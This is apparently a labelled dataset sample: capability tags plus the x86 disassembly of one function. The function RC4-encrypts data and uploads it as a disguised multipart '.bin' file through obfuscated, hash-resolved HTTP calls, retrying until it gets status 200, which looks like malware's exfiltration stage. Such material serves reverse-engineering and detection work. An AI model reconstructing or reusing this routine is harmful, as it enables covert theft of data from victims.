Function at 0x40efb0
Capabilities:
Check http status code
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x16c], ecx
movzx ecx, byte [0xb376c8]
imul ecx, ecx, 0x1010101
mov dword [ebp - 0x188], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x174], eax
mov eax, 5
push esi
mov dword [ebp - 0x184], edx
mov edx, 8
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov ecx, eax
push edi
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x178], eax
call fcn.0040ed70
mov edi, eax
test edi, edi
jle 0x40f0f0
xor edx, edx
mov dword [ebp - 0x10], 0x6f696561
xor esi, esi
mov word [ebp - 0xc], 0x75
mov cl, 0x61
nop word [eax + eax]
xor eax, eax
cmp cl, byte [ebp + eax - 0x10]
je 0x40f055
inc eax
cmp eax, 5
jb 0x40f042
mov byte [ebp + esi - 0x40], cl
inc esi
jmp 0x40f05a
mov byte [ebp + edx - 0x18], cl
inc edx
inc cl
cmp cl, 0x7a
jle 0x40f040
mov byte [ebp + edx - 0x18], 0
mov ecx, 0xab6d07
mov edx, 0x5702107
mov byte [ebp + esi - 0x40], 0
call fcn.0040ed70
mov esi, eax
mov eax, 0x30c30c31
imul esi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul eax, ecx, 0x15
mov ecx, esi
sub ecx, eax
mov bl, byte [ebp + ecx - 0x40]
lea eax, [ebx - 0x20]
lea edx, [ebx - 0x61]
movzx ecx, al
cmp dl, 0x19
movzx eax, bl
cmova ecx, eax
mov byte [ebp - 0x28], cl
mov ecx, 1
cmp edi, ecx
jle 0x40f0e5
lea ebx, [ecx + 0x14]
nop dword [eax]
mov eax, esi
sar eax, cl
cdq
test cl, 1
jne 0x40f0d2
idiv ebx
mov al, byte [ebp + edx - 0x40]
jmp 0x40f0dc
idiv dword [ebp - 0x178]
mov al, byte [ebp + edx - 0x18]
mov byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, edi
jl 0x40f0c0
mov ebx, dword [ebp - 0x164]
mov byte [ebp + edi - 0x28], 0
movzx ecx, byte [0xb376c8]
lea edx, [ebp - 0x48]
imul ecx, ecx, 0x1010101
mov esi, 0xaf6fb0
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
test cl, cl
je 0x40f127
inc edx
cmp byte [edx], 0
jne 0x40f121
sub edx, 0xaf6fb0
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [edx + esi - 1], al
test al, al
jne 0x40f130
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x48]
cmp byte [ebp - 0x48], al
je 0x40f14e
inc ecx
cmp byte [ecx], 0
jne 0x40f148
lea eax, [ebp - 0x28]
sub ecx, eax
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x40f153
xor esi, esi
cmp byte [ebp - 0x48], al
je 0x40f16f
inc esi
cmp byte [ebp + esi - 0x48], 0
jne 0x40f167
mov dword [ebp - 0x150], ebx
test ebx, ebx
je 0x40f24e
xor eax, eax
nop
mov byte [ebp + eax - 0x14c], al
inc eax
cmp eax, 0x100
jb 0x40f180
mov dword [ebp - 0x158], 0
xor edi, edi
nop dword [eax + eax]
mov eax, edi
mov bl, byte [ebp + edi - 0x14c]
xor edx, edx
movzx ecx, bl
div esi
movzx eax, byte [ebp + edx - 0x48]
add eax, dword [ebp - 0x158]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x158], ecx
mov al, byte [ebp + ecx - 0x14c]
mov byte [ebp + edi - 0x14c], al
inc edi
mov byte [ebp + ecx - 0x14c], bl
cmp edi, 0x100
jb 0x40f1a0
mov esi, dword [ebp - 0x174]
xor edi, edi
mov eax, dword [ebp - 0x150]
xor ebx, ebx
dec eax
lea esi, [esi + 1]
mov dword [ebp - 0x150], eax
lea eax, [ebx + 1]
movzx ebx, al
mov dl, byte [ebp + ebx - 0x14c]
movzx eax, dl
add eax, edi
movzx edi, al
movzx eax, byte [ebp + edi - 0x14c]
mov byte [ebp + ebx - 0x14c], al
mov byte [ebp + edi - 0x14c], dl
movzx ecx, byte [ebp + ebx - 0x14c]
movzx eax, dl
add ecx, eax
movzx eax, cl
movzx eax, byte [ebp + eax - 0x14c]
xor byte [esi - 1], al
mov eax, dword [ebp - 0x150]
test eax, eax
jne 0x40f1f4
xor ebx, ebx
mov dword [ebp - 0x178], 0
mov ecx, 0x400
mov dword [ebp - 0x18], 0
xor edi, edi
mov dword [ebp - 0x160], ebx
call fcn.00404790
mov esi, eax
mov ecx, 0x400
mov dword [ebp - 0x15c], esi
call fcn.00404790
mov ecx, 0x800
mov dword [ebp - 0x154], eax
call fcn.00404790
mov ecx, 0x800
mov dword [ebp - 0x158], eax
call fcn.00404790
mov dword [ebp - 0x150], eax
test esi, esi
je 0x40f736
cmp dword [ebp - 0x154], ebx
je 0x40f72f
cmp dword [ebp - 0x158], ebx
je 0x40f72f
test eax, eax
je 0x40f72f
mov edx, 0x5702107
mov ecx, 0xab6d07
call fcn.0040ed70
mov esi, eax
lea ecx, [edi + 0x38]
lea eax, [ebp - 0x28]
mov edx, 0x10e
push eax
push esi
push str.______Boundary_lu_r_nContent_Disposition:_form_data__name_file___filename__s.bin__r_nContent_Type:_application_octet_stream_r_n_r_n
push 0x400
push dword [ebp - 0x15c]
call fcn.00410380
call eax
add esp, 0x14
lea ecx, [edi + 0x38]
mov edx, 0x10e
push esi
push str._r_n______Boundary_lu___r_n
push 0x400
push dword [ebp - 0x154]
call fcn.00410380
call eax
add esp, 0x10
lea ecx, [edi + 0x38]
mov edx, 0x10f
push esi
push str.Content_Type:_multipart_form_data__boundary____Boundary_lu
push 0x400
push dword [ebp - 0x158]
call fcn.00410380
call eax
mov esi, dword [ebp - 0x15c]
xor ecx, ecx
add esp, 0x10
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
cmp byte [esi], cl
je 0x40f376
nop
inc ecx
cmp byte [ecx + esi], bl
jne 0x40f370
mov edx, dword [ebp - 0x154]
xor eax, eax
cmp byte [edx], al
je 0x40f388
inc eax
cmp byte [eax + edx], bl
jne 0x40f382
add eax, dword [ebp - 0x164]
add eax, ecx
mov ecx, eax
mov dword [ebp - 0x170], eax
call fcn.00404790
mov dword [ebp - 0x160], eax
test eax, eax
je 0x40f72f
xor ecx, ecx
cmp byte [esi], cl
je 0x40f3b7
inc ecx
cmp byte [ecx + esi], bl
jne 0x40f3b1
mov edx, esi
test ecx, ecx
je 0x40f3d5
mov esi, eax
sub esi, edx
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
sub ecx, 1
jne 0x40f3c1
mov esi, dword [ebp - 0x15c]
xor eax, eax
cmp byte [esi], al
je 0x40f3e6
nop dword [eax + eax]
inc eax
cmp byte [eax + esi], bl
jne 0x40f3e0
mov edx, dword [ebp - 0x164]
mov ecx, edx
test edx, edx
je 0x40f41c
mov edx, dword [ebp - 0x174]
sub eax, edx
mov esi, dword [ebp - 0x160]
add esi, eax
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
sub ecx, 1
jne 0x40f402
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x154]
xor ecx, ecx
cmp byte [eax], cl
je 0x40f42e
inc ecx
cmp byte [ecx + eax], bl
jne 0x40f428
xor eax, eax
cmp byte [esi], al
je 0x40f43a
inc eax
cmp byte [eax + esi], bl
jne 0x40f434
mov esi, dword [ebp - 0x154]
test ecx, ecx
je 0x40f45e
sub edx, esi
add edx, eax
add edx, dword [ebp - 0x160]
nop
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [edx + esi - 1], al
sub ecx, 1
jne 0x40f450
mov esi, dword [ebp - 0x170]
mov edx, 0x10f
push esi
push 0xa790a8
push 0x400
push dword [ebp - 0x150]
mov ecx, 0x38
call fcn.00410380
call eax
mov ecx, dword [ebp - 0x16c]
add esp, 0x10
mov edx, 0xa794a8
call fcn.0040f7f0
mov ecx, dword [ebp - 0x16c]
neg eax
mov edx, 0xa794a8
sbb eax, eax
and eax, 0xfffffe95
add eax, 0x1bb
movzx eax, ax
mov dword [ebp - 0x174], eax
call fcn.0040f7f0
neg eax
sbb eax, eax
and eax, 0xff800000
add eax, 0x800100
mov dword [ebp - 0x164], eax
nop dword [eax]
nop dword [eax + eax]
push 0x7d0
mov edx, 0x192
mov ecx, 0x34
call fcn.00410380
call eax
push 0
push 0
mov edx, 0xb6
push 0
push 0
push 0xa7a2a8
lea ecx, [edx - 0x7b]
call fcn.00410380
call eax
mov dword [ebp - 0x178], eax
test eax, eax
je 0x40f7d8
push 0
push dword [ebp - 0x174]
mov edx, 0xb7
push dword [ebp - 0x184]
push eax
lea ecx, [edx - 0x7c]
call fcn.00410380
call eax
mov dword [ebp - 0x18], eax
test eax, eax
je 0x40f7d8
push dword [ebp - 0x164]
mov edx, 0xb8
push 0
push 0
push 0
push dword [ebp - 0x188]
lea ecx, [edx - 0x7d]
push 0xa77ea8
push eax
call fcn.00410380
call eax
mov edi, eax
test edi, edi
je 0x40f7d8
push 4
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x927c0
push eax
push 5
push edi
mov edx, 0x198
mov ecx, 0x3b
call fcn.00410380
call eax
test eax, eax
je 0x40f7d8
push 0x20000000
push 0xffffffffffffffff
push dword [ebp - 0x158]
mov edx, 0xb9
push edi
lea ecx, [edx - 0x7e]
call fcn.00410380
call eax
test eax, eax
je 0x40f7d8
push 0
push esi
push esi
push dword [ebp - 0x160]
mov edx, 0xba
push 0xffffffffffffffff
push dword [ebp - 0x150]
push edi
lea ecx, [edx - 0x7f]
call fcn.00410380
call eax
mov ebx, eax
test ebx, ebx
je 0x40f7d8
mov edx, 0xbb
push 0
push edi
lea ecx, [edx - 0x80]
call fcn.00410380
call eax
mov ebx, eax
test ebx, ebx
je 0x40f7d8
push 0
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x16c], 4
push eax
lea eax, [ebp - 0x168]
mov edx, 0xbe
push eax
push 0
push 0x20000013
push edi
mov ecx, 0x3b
call fcn.00410380
call eax
mov eax, dword [ebp - 0x168]
cmp eax, 0xc8
je 0x40f70c
mov esi, dword [ebp - 0x17c]
nop word [eax + eax]
cmp esi, 3
jge 0x40f706
push 0x7d0
mov edx, 0x192
mov ecx, 0x34
call fcn.00410380
call eax
mov eax, dword [ebp - 0x170]
mov edx, 0xba
push 0
push eax
push eax
push dword [ebp - 0x160]
lea ecx, [edx - 0x7f]
push 0xffffffffffffffff
push dword [ebp - 0x150]
push edi
call fcn.00410380
call eax
mov ebx, eax
inc esi
mov dword [ebp - 0x17c], esi
test ebx, ebx
je 0x40f6f5
mov edx, 0xbb
push 0
push edi
lea ecx, [edx - 0x80]
call fcn.00410380
call eax
mov ebx, eax
test ebx, ebx
je 0x40f6f5
push 0
lea eax, [ebp - 0x16c]
mov edx, 0xbe
push eax
lea eax, [ebp - 0x168]
mov ecx, 0x3b
push eax
push 0
push 0x20000013
push edi
call fcn.00410380
call eax
mov eax, dword [ebp - 0x168]
cmp eax, 0xc8
jne 0x40f660
mov esi, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x180]
inc ecx
mov dword [ebp - 0x180], ecx
cmp eax, 0xc8
je 0x40f729
cmp ecx, 0x3c
jl 0x40f4e0
mov esi, dword [ebp - 0x15c]
mov ecx, esi
call fcn.00404840
mov eax, dword [ebp - 0x154]
test eax, eax
je 0x40f747
mov ecx, eax
call fcn.00404840
mov eax, dword [ebp - 0x158]
test eax, eax
je 0x40f758
mov ecx, eax
call fcn.00404840
mov eax, dword [ebp - 0x150]
test eax, eax
je 0x40f769
mov ecx, eax
call fcn.00404840
mov eax, dword [ebp - 0x160]
test eax, eax
je 0x40f77a
mov ecx, eax
call fcn.00404840
test edi, edi
je 0x40f790
push edi
mov edx, 0xc0
mov ecx, 0x3b
call fcn.00410380
call eax
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40f7a9
push eax
mov edx, 0xc0
mov ecx, 0x3b
call fcn.00410380
call eax
mov eax, dword [ebp - 0x178]
test eax, eax
je 0x40f7c5
push eax
mov edx, 0xc0
mov ecx, 0x3b
call fcn.00410380
call eax
mov ecx, dword [ebp - 8]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041048f
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x168]
jmp 0x40f70c